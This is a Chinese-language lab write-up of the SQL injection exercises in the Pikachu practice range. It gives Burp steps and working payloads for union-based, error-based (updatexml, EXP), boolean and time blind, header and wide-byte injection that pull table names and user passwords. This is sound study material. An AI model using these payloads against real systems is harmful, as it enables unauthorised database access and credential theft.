Pikachu靶場SQL注入刷題記錄


數字型注入

0x01

burp抓包,發送至repeater
后面加and 1=1,and 1=2 可判斷存在注入

0x02

通過order by判斷字段數,order by 2 和order by 3 返回結果不同,可得字段數為2

0x03

查看表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

0x04

查詢users表中的數據:
union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

0x05

查詢數據:
union select 1,username from users
union select 1,password from users

字符型注入

0x01

加單引號報錯,'--+ 返回正常,可判斷存在字符型注入

0x02

通過上題可知有兩個字段
查詢表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0x03

查詢users表中的數據:
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

0x04

查詢數據:
' union select 1,username from users--+
' union select 1,password from users--+

搜索型注入

0x01

單引號報錯,判斷字段
' order by 3#時正常,' order by 4#時不正常

0x02

已經知道含有users表,直接查列名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#

0x03

查password數據
' union select 1,2,password from users#

XX型注入

0x01

輸入單引號,得到報錯信息

可以看到有個)符號,那么sql語句中前面一定有個(符號,所以要將前面閉合,后面注釋掉

0x02

輸入')#,抓包repeater放包

0x03

判斷字段
%27)+order+by+2%23,回顯正常

%27)+order+by+3%23,回顯不正常,字段數為2

0x04

已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

0x05

查密碼
%27)+union+select+1,password+from+users%23

insert/update注入

0x01

點擊注冊,用戶名密碼輸入如下

提交返回

根據報錯可推斷前面sql語句大概是這樣value('xxx',1,2,3,4,5)

0x02

使用updatexml()進行報錯注入
' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

Updatexml只能注出32位字符,缺少一位字符,所以改用其他函數
經測試extractvalue()函數也是一樣,再換其他函數

0x03

使用EXP函數時成功注出md5
' or EXP(~(SELECT * from(select @@version)a)) or '
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

Delete注入

0x01

單引號報錯

0x02

這種id的值一般都是數字型注入
+or+EXP(~(SELECT+*+from(select+@@version)a))

最終payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

HTTP Header注入

0x01

提示給了賬號密碼

登錄進去

0x02

刷新,抓包

可以看到Cookie中含有ant[uname]=admin,懷疑此處可能存在與數據庫交互,因此加單引號進行驗證

發現報錯,因此,使用報錯注入語句

0x03

'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

盲注(boolian)

0x01

首先要知道一個用戶名(真實環境可自己注冊一個)
lili' and 1=1#

lili' and 1=2#

可判斷存在注入

0x02

paylaod:lili' and substr(database(),1,1)='字母'#
對數字進行爆破

第一個字母為p
再對第二位進行爆破
lili' and substr(database(),2,1)='字母'#

第二個字母為i
按此方式一位一位進行爆破,可得數據庫名為pikachu

盲注(time)

0x01

首先要知道一個用戶名(真實環境可自己注冊一個)
lili' and sleep(10)#

10s左右才響應,可判斷存在時間盲注(或者F12看響應時間)

0x02

爆破數據庫名
lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
對字母進行爆破,爆破第一個字母
爆破后將Columns--Response received選中,可看到響應時間

第一個字母為p
爆破第二個字母
lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

得到第二個為i
以此類推,得出數據庫名為pikachu

寬字節注入

0x01

抓包在burp中操作
1%df%27+or+1=1#

0x02

判斷字段數
1%df%27+union+select+1,2#

1%df%27+union+select+1,2,3#

字段數為2

0x03

查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

0x04

查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273為users的16進制編碼)

0x05

查數據
1%df%27+union+select+1,password+from+users#

更多技術文章請關注Timeline Sec公眾號


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM